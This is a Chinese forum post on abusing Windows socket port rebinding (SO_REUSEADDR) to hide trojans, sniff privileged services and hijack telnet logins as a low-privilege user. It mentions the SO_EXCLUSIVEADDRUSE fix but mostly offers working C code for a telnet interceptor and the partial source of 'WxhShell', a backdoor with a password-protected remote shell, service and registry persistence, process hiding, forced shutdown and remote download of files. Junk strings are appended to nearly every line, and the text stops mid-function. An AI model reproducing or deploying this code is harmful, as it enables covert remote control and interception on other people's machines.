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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W9]0X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n[\L6}  
iD/+#UTY  
  saddr.sin_family = AF_INET; |h6, .#n  
N{<5)L~Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !Wj`U$];  
jOZ>^5}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E85TCS 1  
hqV_MeHv'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @u`m6``T  
<pM6fI6BD  
  这意味着什么?意味着可以进行如下的攻击: :;\xyy}A  
Gn4XVzB`O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b>]UNf"-  
r@PVSH/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?;A\>sP  
GK1P7Qy?V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }{mS"  
%vbov}R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `|mV~F|  
c *i,z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \eAV: qV  
op3a*KG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k> ~D  
$01~G?:]`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wbI1~/  
AmJdZs|/  
  #include J+wnrGoK  
  #include "LH3ZPD  
  #include ?xuWha@:  
  #include    R G~GVf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   di7cCn  
  int main() x6ayFq=  
  { 5Q:%f  
  WORD wVersionRequested; ?)Je%H  
  DWORD ret; ^1<i7u  
  WSADATA wsaData; ?!.J 0q  
  BOOL val; +G+1B6S  
  SOCKADDR_IN saddr; !pHI`FeAV  
  SOCKADDR_IN scaddr; "sWsK %  
  int err; /FjdcH=  
  SOCKET s; G-,0mo  
  SOCKET sc; OLV3.~T  
  int caddsize; jvpv1>KYV  
  HANDLE mt; F+L%Ho;@P  
  DWORD tid;   . g-  HB'  
  wVersionRequested = MAKEWORD( 2, 2 ); }}bMq.Q'  
  err = WSAStartup( wVersionRequested, &wsaData ); X$?0C{@.}  
  if ( err != 0 ) { d(9-T@J  
  printf("error!WSAStartup failed!\n"); AUES;2WL  
  return -1; oE2VJKs<B  
  } h8-uI.RZ  
  saddr.sin_family = AF_INET; :B\ $7+$v  
   (Ffa{Tt!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wc\`2(  
TX7dwmt) N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sHPj_d#  
  saddr.sin_port = htons(23); =(~ZmB\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /82E[P"}6R  
  { ~Q5]?ZNX  
  printf("error!socket failed!\n"); b5ul|p  
  return -1; J*m7 d4^  
  } &wN}<G e6  
  val = TRUE; r%NzKPW'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )1$H 7|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4n1 g@A=y  
  { t;u)_C,bmP  
  printf("error!setsockopt failed!\n"); b `bg`}x  
  return -1; +;=>&XR0m  
  } KHGUR(\Rd6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Hs{x Z:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JY,oXA6O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FlY"OU*  
j`K0D65  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ej1WkaR8  
  { B?Rkz  
  ret=GetLastError(); 0fK#:6  
  printf("error!bind failed!\n"); (:h&c6'S)b  
  return -1; BuUM~k&SY  
  }  vNdW.V}  
  listen(s,2); jVHS1Vsei  
  while(1) l3/Cj^o4  
  { jhBfy|Ftu  
  caddsize = sizeof(scaddr); *pABdP+  
  //接受连接请求  Z`|\%D%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (cV1Pmn  
  if(sc!=INVALID_SOCKET) /!y;h-  
  { Mm1>g~o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s6#e?5J  
  if(mt==NULL) K@/dQV%Z  
  { p["pGsf  
  printf("Thread Creat Failed!\n"); fI'+4 )@x  
  break; a^ys7UV  
  } PYzTKjw  
  } e2 g`T{6M  
  CloseHandle(mt); [xQ.qZ[h&  
  } Qstd;qE~  
  closesocket(s); wD W/?lT&  
  WSACleanup(); M(uJ'Ud/!  
  return 0; E>O@Bv  
  }   !|z!e>0  
  DWORD WINAPI ClientThread(LPVOID lpParam) `LKf$cx(A  
  { .[1@wW&L  
  SOCKET ss = (SOCKET)lpParam; x<@i3Y{[  
  SOCKET sc; 7]i6 Gk  
  unsigned char buf[4096]; f hNJB0  
  SOCKADDR_IN saddr; $ f||!g  
  long num; -KfMK N~  
  DWORD val; z4zPR?%:  
  DWORD ret; :bL^S1et  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?FEh9l)d\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~:|V,1  
  saddr.sin_family = AF_INET; |cC&,8O:{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Og?GYe^_  
  saddr.sin_port = htons(23); NRspi_&4J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^+gD;a|t  
  { : #so"O  
  printf("error!socket failed!\n"); ;ZMIYFXRqh  
  return -1; t**d{P+  
  } *i!t&s  
  val = 100; 1u(n[<WtT_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;Cjj_9e,:  
  { n36iY'<)G  
  ret = GetLastError(); "$ISun=8  
  return -1; gA3f@7}d  
  } L"0?g(< 5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fN:FD`  
  { jM-5aj[K  
  ret = GetLastError(); "v0SvV<7  
  return -1; hW6Ksn,*  
  } 0kw)-)=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (m=1yj9  
  { Eb CK9  
  printf("error!socket connect failed!\n"); 2^nws  
  closesocket(sc); ][YuJUK8  
  closesocket(ss); Der'45]*^  
  return -1; fKtlfQG  
  } VN$7r  
  while(1) YkFERIa076  
  { WGyPyG#Fl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W1ndb:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rj?c   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ug4o2n0sk  
  num = recv(ss,buf,4096,0); 1Tev&J  
  if(num>0) 'MNCJ;A@V  
  send(sc,buf,num,0); g`tV^b")  
  else if(num==0) "D KrQ,L  
  break; NJ;m&Tm,DF  
  num = recv(sc,buf,4096,0); 'Asr,[]?  
  if(num>0) @xBO[v  
  send(ss,buf,num,0); yL -}E  
  else if(num==0) O`aNNy  
  break; d<WNN1f  
  } Q ;5A~n  
  closesocket(ss); 6#\:J0  
  closesocket(sc); ~dP\0x0AB  
  return 0 ; _j*I\  
  } sD&V_ &i  
{+3g*s/HI  
C@<gCMj,"  
========================================================== 9E0x\%2K  
FU.?n)P  
下边附上一个代码,,WXhSHELL I[w5V;>*  
![J_6 f}!  
========================================================== ~k}O"{ y  
%%)y4>I  
#include "stdafx.h" A>HCX 4i  
,dVJAV7v  
#include <stdio.h> /FC(d5I  
#include <string.h> FJxb!- 0&  
#include <windows.h> 7KJ0>0~Et  
#include <winsock2.h> Kb1@+  
#include <winsvc.h> r:4]:NKCi  
#include <urlmon.h> ]KG.-o30  
|WfL'_?$  
#pragma comment (lib, "Ws2_32.lib") <=w!:   
#pragma comment (lib, "urlmon.lib") !4 lN[  
kg,\l9AM  
#define MAX_USER   100 // 最大客户端连接数 @O-\s q  
#define BUF_SOCK   200 // sock buffer &] xtx>qg<  
#define KEY_BUFF   255 // 输入 buffer _}T )\o   
Gvvw:]WgF  
#define REBOOT     0   // 重启 ,|,kU0xXz  
#define SHUTDOWN   1   // 关机 ^L8:..+:  
Kltqe5  
#define DEF_PORT   5000 // 监听端口 |2rOV&@l9  
+Yc@<$4  
#define REG_LEN     16   // 注册表键长度 wjgFe]  
#define SVC_LEN     80   // NT服务名长度 G%= gCR  
NzeiGj  
// 从dll定义API Y]uVA`%"b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vF>]9sMv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (A=Z,ed  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q:T9&_|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n.R"n9v`  
joZd  
// wxhshell配置信息 ]<c\+9  
struct WSCFG { ?5,I`9  
  int ws_port;         // 监听端口 M=SrZ,W  
  char ws_passstr[REG_LEN]; // 口令 >J_ P[v  
  int ws_autoins;       // 安装标记, 1=yes 0=no i->G {_gH  
  char ws_regname[REG_LEN]; // 注册表键名 !@ y/{~Gu  
  char ws_svcname[REG_LEN]; // 服务名 i XGy*#>V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e#k)F.TZ:%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >l=^3B,j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jB0Ts;5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8F's9c,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" } j;es(~D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EQ|Wke  
L .}sN.  
}; Kxz|0l  
4mpcI  
// default Wxhshell configuration WW!-,d{{@  
struct WSCFG wscfg={DEF_PORT, DZEq(>mn  
    "xuhuanlingzhe", XV`8Vb  
    1, m| 7v76(  
    "Wxhshell", oJ/=&c  
    "Wxhshell", )@y7 qb  
            "WxhShell Service", Fdq5:v?k  
    "Wrsky Windows CmdShell Service", !C^>tmqS  
    "Please Input Your Password: ", rq}xuSFI  
  1, oEj$xm_}  
  "http://www.wrsky.com/wxhshell.exe", BW`;QF<  
  "Wxhshell.exe" `VDvxl@1  
    }; B7.&yXWgn  
&FYv4J  
// 消息定义模块 (N)>?r@n`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uK1VFW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R\/tKZJjb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _5$L`&  
char *msg_ws_ext="\n\rExit."; #YK3Ogb,  
char *msg_ws_end="\n\rQuit."; .f>7a;V?}  
char *msg_ws_boot="\n\rReboot..."; {eQijW2Z3  
char *msg_ws_poff="\n\rShutdown..."; NS*Lv  
char *msg_ws_down="\n\rSave to "; YQD/vc~8G  
~@[<y1g?nG  
char *msg_ws_err="\n\rErr!"; c"t&,OU:  
char *msg_ws_ok="\n\rOK!"; !67xN?b  
;lhW6;oI'  
char ExeFile[MAX_PATH]; tAujm*|&  
int nUser = 0; h]&~yuI>  
HANDLE handles[MAX_USER]; @,]W  
int OsIsNt; Sl% 6F!  
AI9922}*  
SERVICE_STATUS       serviceStatus; TgJ6O,0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,Ik~E&Ku2'  
jtE'T}!d  
// 函数声明 x{Dw?6TP  
int Install(void); r>CBp$  
int Uninstall(void); aMJ2bu  
int DownloadFile(char *sURL, SOCKET wsh); Xh/BVg7$  
int Boot(int flag); ltNY8xrdGN  
void HideProc(void); nY\X!K65  
int GetOsVer(void); yF+mJ >kj  
int Wxhshell(SOCKET wsl); >!tfvM2X{  
void TalkWithClient(void *cs); kV!1k<f  
int CmdShell(SOCKET sock); 0I2?fz)  
int StartFromService(void); Ra:UnA  
int StartWxhshell(LPSTR lpCmdLine); 2t>>08T  
~d ~oC$=TC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B7o US}M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :lmimAMt  
?@MWV   
// 数据结构和表定义 Y@T$O<*  
SERVICE_TABLE_ENTRY DispatchTable[] = '0&HkM{ D  
{ W2M[w_~QE  
{wscfg.ws_svcname, NTServiceMain}, %dhrXK5  
{NULL, NULL} 1' dZ?`O  
}; 5~E{bW$  
ApplWa3  
// 自我安装 QA)W(1  
int Install(void) |8GLS4.]t  
{ !0):g/2h  
  char svExeFile[MAX_PATH]; &+ H\ST(/  
  HKEY key; I'N!j>5oX  
  strcpy(svExeFile,ExeFile); "1%k"+&  
%/hokyx  
// 如果是win9x系统,修改注册表设为自启动 R$+"'N6p  
if(!OsIsNt) { SbsdunW+?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rd5pLrr[0)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^$RpP+d  
  RegCloseKey(key); VD =f 'D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P\z1fscnK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =2vZqGO30  
  RegCloseKey(key); {BJH}vV1)  
  return 0; #Pg?T%('`  
    } h53G$Ol.  
  } !d[]Qt%mA  
} rhGB l`(B  
else { t^%)d7$  
s:z  
// 如果是NT以上系统,安装为系统服务 _)4zm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BIg2`95F|  
if (schSCManager!=0) M*~XpT3  
{ #]^M/y h  
  SC_HANDLE schService = CreateService s5MG#M 9  
  ( RK)ikLgp  
  schSCManager, |I|,6*)xg  
  wscfg.ws_svcname, KxfH6:\RB  
  wscfg.ws_svcdisp, ft iAty0n  
  SERVICE_ALL_ACCESS, ]I;owk,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o_ [I#PT  
  SERVICE_AUTO_START, gI@nE:(m  
  SERVICE_ERROR_NORMAL, &b2@+/ F  
  svExeFile, .v9i|E=<~  
  NULL, TY` R_  
  NULL, ?,[$8V  
  NULL, .cmhi3o4  
  NULL, 2(Yt`3Go(  
  NULL '[HU!8F  
  ); n:H |=SF{  
  if (schService!=0) %z"$?Iv  
  { Vn_>c#B  
  CloseServiceHandle(schService); WM=)K1p0u  
  CloseServiceHandle(schSCManager); OGq=OW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L[Wi[S6=)g  
  strcat(svExeFile,wscfg.ws_svcname); FEBRUk6.h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +j$nbU0U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k9VWyq__  
  RegCloseKey(key); 2&AX_#P  
  return 0; P;|63" U  
    } V=Bmpg  
  } i=fhK~Jd  
  CloseServiceHandle(schSCManager); wGHVq fm5  
} ^a!oq~ZSy  
} W4h]4X  
(+u&b< <6N  
return 1; KQ(S\  
} S>"C}F$X  
@]EdUzzKq  
// 自我卸载 @ W q8AFo  
int Uninstall(void) @9k/od@mW  
{ \Z~ <jv  
  HKEY key; tM;+U  
vJ&35nF&  
if(!OsIsNt) { hIa,PZ/Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hWbjA[a/  
  RegDeleteValue(key,wscfg.ws_regname); avXBCvP+h  
  RegCloseKey(key); I6S>*V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q H>g-@  
  RegDeleteValue(key,wscfg.ws_regname); ";n%^I}  
  RegCloseKey(key); QP@@h4J^  
  return 0; Ku3NE-)  
  } 7CX5pRNL  
} :U @L$  
} |UcF%VNnz1  
else { ^{E_fQJX  
f uH3C~u7<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s(MdjWw  
if (schSCManager!=0) 90H/Txq  
{ ;BHIss7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wvr`~e  
  if (schService!=0) -W|~YK7e  
  { [[}ukG4  
  if(DeleteService(schService)!=0) { bF +d_t  
  CloseServiceHandle(schService); .ffr2\'*  
  CloseServiceHandle(schSCManager); 1Va@w  
  return 0; Ow-;WO_HQ  
  } wMM1Q/-#  
  CloseServiceHandle(schService); /5\{(=0  
  } Prv=f@  
  CloseServiceHandle(schSCManager); +bWo{   
} b}hQU~,E  
} S7R*R}  
UK[+I]I p  
return 1; iciRlx.$c  
} z qd1G(tO  
g+C~}M_7  
// 从指定url下载文件 ya;(D 8x)  
int DownloadFile(char *sURL, SOCKET wsh) Jf@Xz7{z  
{ q+lCA#Sx  
  HRESULT hr; =Q!V6+}nY^  
char seps[]= "/"; Jp~[Dm  
char *token; DuC_uNJ  
char *file; ~UsE"5  
char myURL[MAX_PATH]; ,JJ1sf2A  
char myFILE[MAX_PATH]; 3b<;y%  
9a'}j#mJo  
strcpy(myURL,sURL); $^#q0Yx  
  token=strtok(myURL,seps); uU+?:C  
  while(token!=NULL) !B#tJD  
  { UXHtmi|_:  
    file=token; "YV vmCp  
  token=strtok(NULL,seps); Hqu?="f=  
  } 7TZ,bD_  
Uz `OAb  
GetCurrentDirectory(MAX_PATH,myFILE); +# @2,  
strcat(myFILE, "\\"); 48 mTL+*  
strcat(myFILE, file); ZYz8ul$E  
  send(wsh,myFILE,strlen(myFILE),0); ;#7:}>}rO  
send(wsh,"...",3,0); id/y_ekfP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O*Z -3 l  
  if(hr==S_OK) *uF Iw}C/  
return 0; t0 T#Xb  
else R>,_C7]u  
return 1; '5 9{VA6h  
* a VT  
} c>#3{}X|x%  
#5^S@}e  
// 系统电源模块 >V&GL{  
int Boot(int flag) <?!%dV{z  
{ z,SNJIsx  
  HANDLE hToken; F Zk[w>{  
  TOKEN_PRIVILEGES tkp; jZq CM{  
\YH*x`  
  if(OsIsNt) { w|ct="MG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <I2~>x5db  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v0%FG9Gk  
    tkp.PrivilegeCount = 1; 7+P-MT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; byIP]7Ld  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {\ BFWGX  
if(flag==REBOOT) { "s\himoa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lo +H&-  
  return 0; G-DOI  
} s09&A]G  
else { ESkhCDU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [iN\R+:  
  return 0; kg$w<C@#"  
} sg_%=;  
  } wUzMB ]w  
  else { bX+"G}CRP  
if(flag==REBOOT) { er>@- F7w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v+d? #^  
  return 0; 5>h# hcL  
} n<>]7-  
else { K- TLzoYA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3MHByT %  
  return 0; R=L-Ulhk  
} ER<Z!*2  
} twql)lbx  
qB3=wFI  
return 1; @P<Mc )o^  
}  `=I@W  
],f%: ?%50  
// win9x进程隐藏模块 FW"gj\  
void HideProc(void) b*cVC^{Dy  
{ 6 $+b2&V  
p@+D$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eg>]{`WQ  
  if ( hKernel != NULL ) l'"Ici#7Ls  
  { ztV%W6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^FK-e;J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EA<x$O  
    FreeLibrary(hKernel); NO.5Vy  
  } b!z=:  
_RG2I)P  
return; !JPZ7_nn  
} bO+L#Kf  
b|g=&T:pp  
// 获取操作系统版本 t~ z;G%a  
int GetOsVer(void) 3x E^EXV  
{ ]bAw>1,NVD  
  OSVERSIONINFO winfo; [vcSt5R=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3xpygx9  
  GetVersionEx(&winfo); ~@'DYZb- H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tQIz  
  return 1; F3<Ip~K  
  else uS{WeL6%  
  return 0; 8>ODtKI *  
} 4tFnZ2x  
O3(H_(P  
// 客户端句柄模块 w)%/Me3o  
int Wxhshell(SOCKET wsl) gqACIXR  
{ a |0f B4G  
  SOCKET wsh; Zs}EGC~&  
  struct sockaddr_in client; cK1RmL"3  
  DWORD myID; 0J 1&6b  
Hc-Ke1+  
  while(nUser<MAX_USER) r$;u4FR  
{ M K, $#  
  int nSize=sizeof(client); kr5'a:F)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %CG=mTP  
  if(wsh==INVALID_SOCKET) return 1; X6EnC57  
5@{~8 30  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KvuM{UI5  
if(handles[nUser]==0) B7nm7[V  
  closesocket(wsh); Ct9*T`Gl  
else j79$/ Ol  
  nUser++; oJVpJA0IA  
  } t3;QF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hp-vBoEk  
hrTl:\  
  return 0; to;cF6X  
} d8/KTl  
(KdP^.7  
// 关闭 socket Z}$1~uyw  
void CloseIt(SOCKET wsh) +cx(Q(HD\  
{ 2)jf~!o)Z  
closesocket(wsh); MHAWnH8  
nUser--; (Ei} :6,}  
ExitThread(0); MD=!a5'  
} cW\Y1=Gv|  
hquN+eIDH  
// 客户端请求句柄 M0"}>`1lJ  
void TalkWithClient(void *cs) SI/p8 ^  
{ T+)#Du  
aUEnQ%YU"  
  SOCKET wsh=(SOCKET)cs; NC{8[*Kx5  
  char pwd[SVC_LEN]; hZeF? G)L'  
  char cmd[KEY_BUFF]; 4F?O5&329i  
char chr[1]; 6yXMre)YV  
int i,j; Mg=R**s1x%  
f&`yiy_  
  while (nUser < MAX_USER) { kDK0L3}nr]  
EY'48S  
if(wscfg.ws_passstr) { 5tm:|.`SQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Oc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NUGiDJ+[  
  //ZeroMemory(pwd,KEY_BUFF); qre(3,VE5  
      i=0; IyGW>g6_.  
  while(i<SVC_LEN) { khfWU  
oD~q/04!  
  // 设置超时 =FXq=x%9+  
  fd_set FdRead; t{Gc,S!]5  
  struct timeval TimeOut; \xexl1_;  
  FD_ZERO(&FdRead); _f<#+*y  
  FD_SET(wsh,&FdRead); mA0|W#NB  
  TimeOut.tv_sec=8; </)QCl'd  
  TimeOut.tv_usec=0; wVtBH_>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u eV,p?Wo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3\&I7o3V  
g2W ZW#a)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7 ?"-NrW~  
  pwd=chr[0]; F)hUT@  
  if(chr[0]==0xd || chr[0]==0xa) { 8Hh= Sp^  
  pwd=0; `NARJ9M   
  break; =1Tn~)^O  
  } BZAF;j  
  i++; }tUr V   
    } n3JSEu;J  
q OX=M  
  // 如果是非法用户,关闭 socket s. jcD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m0+'BC{$u  
} Bz*6M  
T{mIk p<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5r(Y,m"?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); geEETb} +y  
$' >|r]  
while(1) {  Ts 1  
WS1$cAD2N  
  ZeroMemory(cmd,KEY_BUFF); x$/: %"E  
k{w  
      // 自动支持客户端 telnet标准   QKtVwsz +  
  j=0; )SsO,E+t=U  
  while(j<KEY_BUFF) { a qIpO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LQ.0"6oj  
  cmd[j]=chr[0]; b?%Pa\,!  
  if(chr[0]==0xa || chr[0]==0xd) { /^9yncG;>  
  cmd[j]=0; WTQd}f  
  break; <<[\ Rv  
  } -JfO} DRI  
  j++; A6%~+9  
    } 73>Hzpv0  
1n )&%r  
  // 下载文件 9Ts rg  
  if(strstr(cmd,"http://")) { YTYCv7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -x2&IJ!  
  if(DownloadFile(cmd,wsh)) %][6TZ}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t[Ywp!y[  
  else a&s&6Q|Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q!v]njCIB7  
  } Xe>   
  else { EK<ly"S.  
NJ$c0CNy  
    switch(cmd[0]) { ?D S|vCae  
  2kVQ#JyuRI  
  // 帮助 hxx`f-#=  
  case '?': { oiNt'HQ2/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dEG1[QG  
    break; TC^fyxq  
  } T +~ _D  
  // 安装 mM)d`br  
  case 'i': { YKG}4{T  
    if(Install()) [pYjH+<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); px=r~8M9}  
    else 6T ,'Oz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d2[R{eNX=  
    break; V { yk  
    } Tl`HFZQ1  
  // 卸载 u[?M{E/HU  
  case 'r': { mZ}C)&,m2  
    if(Uninstall()) [V_\SQV0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +DA ,|~k_  
    else pQ yH`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R1NwtnS  
    break; GP;UuQz  
    } -VhxnhS  
  // 显示 wxhshell 所在路径 Y<9]7R(\;  
  case 'p': { g.d~`R@v  
    char svExeFile[MAX_PATH]; %hH@< <b(s  
    strcpy(svExeFile,"\n\r"); 31=v US  
      strcat(svExeFile,ExeFile); _&|<(m&."  
        send(wsh,svExeFile,strlen(svExeFile),0); mr\C  
    break; [3fmhc  
    } wA?q/cw C  
  // 重启 N/i {j.=  
  case 'b': { NB?y/v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z{ MO~d9  
    if(Boot(REBOOT)) ]gG&X3jaKq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (H-}z`sy/@  
    else { :zLeS-  
    closesocket(wsh); W:*  {7qJ  
    ExitThread(0); 66%4p%#b4  
    } wTkcR^  
    break; HA0Rv#p  
    } A~%h*nZc%I  
  // 关机 0>)F+QC  
  case 'd': { gL}x| Q2`  
